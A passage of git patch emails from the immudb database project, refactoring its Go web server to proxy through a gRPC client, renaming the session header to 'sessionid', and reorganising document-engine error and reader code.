0x20, 0x3c, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, - 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, + 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, 0x12, + 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, + 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, + 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( From 0736295c8e6269d74545bd502ecc29fbe79bd72d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 15:50:27 -0300 Subject: [PATCH 0477/1062] chore(pkg/server): minor code reuse Signed-off-by: Jeronimo Irazabal --- pkg/server/keep_alive_session_interceptor.go | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/pkg/server/keep_alive_session_interceptor.go b/pkg/server/keep_alive_session_interceptor.go index cbac66ab94..cc578bbd6c 100644 --- a/pkg/server/keep_alive_session_interceptor.go +++ b/pkg/server/keep_alive_session_interceptor.go @@ -36,11 +36,9 @@ func (s *ImmuServer) KeepALiveSessionStreamInterceptor(srv interface{}, ss grpc. func (s *ImmuServer) KeepAliveSessionInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth && info.FullMethod != "/immudb.schema.ImmuService/OpenSession" { - sessionID, err := sessions.GetSessionIDFromContext(ctx) - if err != nil { + if err := s.updateSessActivityTime(ctx); err != nil { return nil, err } - s.SessManager.UpdateSessionActivityTime(sessionID) } return handler(ctx, req) } From f1ad9c6224e8bdded313547eec4d903bb519407f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 18:57:46 -0300 Subject: [PATCH 0478/1062] fix(pkg/server): use grpc interceptors with grpc proxy Signed-off-by: Jeronimo Irazabal --- pkg/server/server.go | 8 ++++-- pkg/server/webserver.go | 55 ++++++++++++++++++++++++++++-------- pkg/server/webserver_test.go | 17 +++++++---- 3 files changed, 60 insertions(+), 20 deletions(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index 71d1ad902f..0a0b377a8e 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -304,7 +304,7 @@ func (s *ImmuServer) Start() (err error) { } if s.Options.WebServer { - if err := s.setUpWebServer(); err != nil { + if err := s.setUpWebServer(context.Background()); err != nil { log.Fatal(fmt.Sprintf("Failed to setup web API/console server: %v", err)) } defer func() { @@ -353,8 +353,10 @@ func (s *ImmuServer) setUpMetricsServer() error { return nil } -func (s *ImmuServer) setUpWebServer() error { - server, err := StartWebServer( +func (s *ImmuServer) setUpWebServer(ctx context.Context) error { + server, err := startWebServer( + ctx, + s.Options.Bind(), s.Options.WebBind(), s.Options.TLSConfig, s, diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 67ffd810df..7bf52eb05d 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -27,51 +27,61 @@ import ( "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" + "google.golang.org/grpc/grpclog" ) -func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { +func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { + grpcClient, err := grpcClient(ctx, grpcAddr) + if err != nil { + return nil, err + } + proxyMux := runtime.NewServeMux() - err := schema.RegisterImmuServiceHandlerServer(context.Background(), proxyMux, s) + + err = schema.RegisterImmuServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } - proxyMuxV2 := runtime.NewServeMux() - err = protomodel.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) + err = protomodel.RegisterAuthorizationServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } - err = protomodel.RegisterAuthorizationServiceHandlerServer(context.Background(), proxyMuxV2, &authenticationServiceImp{server: s}) + err = protomodel.RegisterDocumentServiceHandler(ctx, proxyMux, grpcClient) if err != nil { return nil, err } webMux := http.NewServeMux() + webMux.Handle("/api/", http.StripPrefix("/api", proxyMux)) - webMux.Handle("/api/v2/", http.StripPrefix("/api/v2", proxyMuxV2)) + webMux.Handle("/api/v2/", http.StripPrefix("/api/v2", proxyMux)) - err = webconsole.SetupWebconsole(webMux, l, addr) + err = webconsole.SetupWebconsole(webMux, l, httpAddr) if err != nil { return nil, err } + if s.Options.SwaggerUIEnabled { - err = swagger.SetupSwaggerUI(webMux, l, addr) + err = swagger.SetupSwaggerUI(webMux, l, httpAddr) if err != nil { return nil, err } } - httpServer := &http.Server{Addr: addr, Handler: webMux} + httpServer := &http.Server{Addr: httpAddr, Handler: webMux} httpServer.TLSConfig = tlsConfig go func() { var err error if tlsConfig != nil && len(tlsConfig.Certificates) > 0 { - l.Infof("Web API server enabled on %s/api (https)", addr) + l.Infof("Web API server enabled on %s/api (https)", httpAddr) err = httpServer.ListenAndServeTLS("", "") } else { - l.Infof("Web API server enabled on %s/api (http)", addr) + l.Infof("Web API server enabled on %s/api (http)", httpAddr) err = httpServer.ListenAndServe() } @@ -84,3 +94,26 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. return httpServer, nil } + +func grpcClient(ctx context.Context, grpcAddr string) (conn *grpc.ClientConn, err error) { + conn, err = grpc.Dial(grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials())) + if err != nil { + return conn, err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("failed to close conn to %s: %v", grpcAddr, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("failed to close conn to %s: %v", grpcAddr, cerr) + } + }() + }() + + return conn, nil +} diff --git a/pkg/server/webserver_test.go b/pkg/server/webserver_test.go index 17e3c4e19a..03dae84bc5 100644 --- a/pkg/server/webserver_test.go +++ b/pkg/server/webserver_test.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "crypto/tls" "net/http" "testing" @@ -36,8 +37,10 @@ func TestStartWebServerHTTP(t *testing.T) { ClientAuth: tls.VerifyClientCertIfGiven, } - webServer, err := StartWebServer( - "0.0.0.0:8080", + webServer, err := startWebServer( + context.Background(), + options.Bind(), + options.WebBind(), tlsConfig, server, &mockLogger{}) @@ -48,7 +51,7 @@ func TestStartWebServerHTTP(t *testing.T) { client := &http.Client{} require.Eventually(t, func() bool { - _, err = client.Get("http://0.0.0.0:8080") + _, err = client.Get("http://" + options.WebBind()) return err == nil }, 10*time.Second, 30*time.Millisecond) } @@ -79,8 +82,10 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== require.NoError(t, err) tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}} - webServer, err := StartWebServer( - "0.0.0.0:8080", + webServer, err := startWebServer( + context.Background(), + options.Bind(), + options.WebBind(), tlsConfig, server, &mockLogger{}) @@ -92,7 +97,7 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}} client := &http.Client{Transport: tr} require.Eventually(t, func() bool { - _, err = client.Get("https://0.0.0.0:8080") + _, err = client.Get("https://" + options.WebBind()) return err == nil }, 10*time.Second, 30*time.Millisecond) } From 03c201b7bec66ac551ba5bb285c90152e1ef3c09 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 20:55:18 -0300 Subject: [PATCH 0479/1062] chore(pkg/api): cleaner session id header Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 2 +- pkg/api/openapi/apidocs.swagger.json | 8 ++++---- pkg/api/proto/authorization.proto | 8 ++++---- pkg/api/proto/documents.proto | 10 +++++----- pkg/api/protomodel/authorization.pb.go | 21 ++++++++++----------- pkg/api/protomodel/documents.pb.go | 20 ++++++++++---------- pkg/server/webserver.go | 12 +++++++++++- 7 files changed, 45 insertions(+), 36 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index ed2e275397..01cd94d009 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -17,7 +17,7 @@ import ( ) const ( - BearerScopes = "bearer.Scopes" + ApiKeyAuthScopes = "ApiKeyAuth.Scopes" ) // Defines values for ModelComparisonOperator. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 5640388c93..37cbcab0d5 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -1340,16 +1340,16 @@ } }, "securityDefinitions": { - "bearer": { + "ApiKeyAuth": { "type": "apiKey", - "description": "Session token: \u003ctoken\u003e", - "name": "grpc-metadata-sessionid", + "description": "Session Identifier", + "name": "sessionid", "in": "header" } }, "security": [ { - "bearer": [] + "ApiKeyAuth": [] } ] } diff --git a/pkg/api/proto/authorization.proto b/pkg/api/proto/authorization.proto index 73e7270d8c..feaee79f97 100644 --- a/pkg/api/proto/authorization.proto +++ b/pkg/api/proto/authorization.proto @@ -30,18 +30,18 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { }; security_definitions: { security: { - key: "bearer" + key: "ApiKeyAuth" value: { type: TYPE_API_KEY in: IN_HEADER - name: "grpc-metadata-sessionid" - description: "Session token: " + name: "sessionid" + description: "Session Identifier" } } } security: { security_requirement: { - key: "bearer" + key: "ApiKeyAuth" } } }; diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index a56b063221..cdb3fcd51c 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -28,22 +28,22 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { title: "immudb REST API v2"; - description: "Objects storage API" + description: "Document Storage API" }; security_definitions: { security: { - key: "bearer" + key: "ApiKeyAuth" value: { type: TYPE_API_KEY in: IN_HEADER - name: "grpc-metadata-sessionid" - description: "Session token: " + name: "sessionid" + description: "Session Identifier" } } } security: { security_requirement: { - key: "bearer" + key: "ApiKeyAuth" } } }; diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index e134740cb8..7814b050f8 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -385,19 +385,18 @@ var file_authorization_proto_rawDesc = []byte{ 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xb8, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x83, 0x01, 0x12, 0x27, - 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, - 0x49, 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, - 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, - 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, - 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, - 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, + 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, + 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index c53bb31b18..0315b909c2 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2317,19 +2317,19 @@ var file_documents_proto_rawDesc = []byte{ 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, 0x12, - 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, + 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, + 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, - 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, + 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var ( diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 7bf52eb05d..3ab15e46eb 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -20,6 +20,7 @@ import ( "context" "crypto/tls" "net/http" + "strings" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" @@ -38,7 +39,16 @@ func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsCo return nil, err } - proxyMux := runtime.NewServeMux() + proxyMux := runtime.NewServeMux( + runtime.WithIncomingHeaderMatcher(func(key string) (string, bool) { + switch strings.ToLower(key) { + case "sessionid": + return "Sessionid", true + default: + return runtime.DefaultHeaderMatcher(key) + } + }), + ) err = schema.RegisterImmuServiceHandler(ctx, proxyMux, grpcClient) if err != nil { From 5ec12028c2ace14281e833cc105665686ffe167c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 23:38:00 -0300 Subject: [PATCH 0480/1062] chore(embedded/document): use onclose callback to close the tx Signed-off-by: Jeronimo Irazabal --- embedded/document/document_reader.go | 24 +++++++++++++----------- embedded/document/engine.go | 2 +- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go index 3fa7e77ccf..f24647a86f 100644 --- a/embedded/document/document_reader.go +++ b/embedded/document/document_reader.go @@ -31,19 +31,19 @@ type DocumentReader interface { } type documentReader struct { - sqlTx *sql.SQLTx - reader sql.RowReader + rowReader sql.RowReader + onCloseCallback func(reader DocumentReader) } -func newDocumentReader(sqlTx *sql.SQLTx, reader sql.RowReader) DocumentReader { +func newDocumentReader(rowReader sql.RowReader, onCloseCallback func(reader DocumentReader)) DocumentReader { return &documentReader{ - sqlTx: sqlTx, - reader: reader, + rowReader: rowReader, + onCloseCallback: onCloseCallback, } } // ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. -func (d *documentReader) Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { +func (r *documentReader) Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { if count < 1 { return nil, sql.ErrIllegalArguments } @@ -54,13 +54,13 @@ func (d *documentReader) Read(ctx context.Context, count int) ([]*protomodel.Doc for l := 0; l < count; l++ { var row *sql.Row - row, err = d.reader.Read(ctx) + row, err = r.rowReader.Read(ctx) if err == sql.ErrNoMoreRows { err = ErrNoMoreDocuments break } if err != nil { - return nil, err + return nil, mayTranslateError(err) } docBytes := row.ValuesByPosition[0].RawValue().([]byte) @@ -81,8 +81,10 @@ func (d *documentReader) Read(ctx context.Context, count int) ([]*protomodel.Doc return revisions, err } -func (d *documentReader) Close() error { - defer d.sqlTx.Cancel() +func (r *documentReader) Close() error { + if r.onCloseCallback != nil { + defer r.onCloseCallback(r) + } - return d.reader.Close() + return r.rowReader.Close() } diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e3e3b7881b..0ba004f3f6 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -824,7 +824,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query return nil, err } - return newDocumentReader(sqlTx, r), nil + return newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil } func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, idFieldName string, docAtRevision *EncodedDocumentAtRevision, err error) { From 3a594f16988608b8e48f2feef61d0d573b04948e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 2 May 2023 23:46:52 -0300 Subject: [PATCH 0481/1062] chore(embedded/document): move source code into dedicated files Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 135 +------------------------- embedded/document/errors.go | 80 +++++++++++++++ embedded/document/type_conversions.go | 94 ++++++++++++++++++ 3 files changed, 176 insertions(+), 133 deletions(-) create mode 100644 embedded/document/errors.go create mode 100644 embedded/document/type_conversions.go diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0ba004f3f6..4ad471550e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -19,7 +19,6 @@ import ( "bytes" "context" "encoding/json" - "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -34,146 +33,16 @@ const ( DocumentBLOBField = "_doc" ) -var ( - ErrIllegalArguments = store.ErrIllegalArguments - ErrUnsupportedType = errors.New("unsupported type") - ErrCollectionAlreadyExists = errors.New("collection alrady exists") - ErrCollectionDoesNotExist = errors.New("collection does not exist") - ErrMaxLengthExceeded = errors.New("max length exceeded") - ErrMultipleDocumentsFound = errors.New("multiple documents found") - ErrDocumentNotFound = errors.New("document not found") - ErrDocumentIDMismatch = errors.New("document id mismatch") - ErrNoMoreDocuments = errors.New("no more documents") - ErrFieldAlreadyExists = errors.New("field already exists") - ErrFieldDoesNotExist = errors.New("field does not exist") - ErrReservedFieldName = errors.New("reserved field name") - ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") - ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") -) - -func mayTranslateError(err error) error { - if err == nil { - return nil - } - - if errors.Is(err, sql.ErrTableAlreadyExists) { - return ErrCollectionAlreadyExists - } - - if errors.Is(err, sql.ErrTableDoesNotExist) { - return ErrCollectionDoesNotExist - } - - if errors.Is(err, sql.ErrNoMoreRows) { - return ErrNoMoreDocuments - } - - if errors.Is(err, sql.ErrColumnAlreadyExists) { - return ErrFieldAlreadyExists - } - - if errors.Is(err, sql.ErrColumnDoesNotExist) { - return ErrFieldDoesNotExist - } - - if errors.Is(err, sql.ErrLimitedIndexCreation) { - return ErrLimitedIndexCreation - } - - if errors.Is(err, store.ErrTxReadConflict) { - return ErrConflict - } - - if errors.Is(err, store.ErrKeyAlreadyExists) { - return ErrConflict - } - - return err +type Engine struct { + sqlEngine *sql.Engine } -// protomodel to sql.Value mapping -var ( - // structpb.Value to sql.ValueExp conversion - structValueToSqlValue = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { - switch stype { - case sql.VarcharType: - _, ok := value.GetKind().(*structpb.Value_StringValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewVarchar(value.GetStringValue()), nil - case sql.IntegerType: - _, ok := value.GetKind().(*structpb.Value_NumberValue) - if !ok { - return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) - } - return sql.NewInteger(int64(value.GetNumberValue())), nil - case sql.BLOBType: - _, ok := 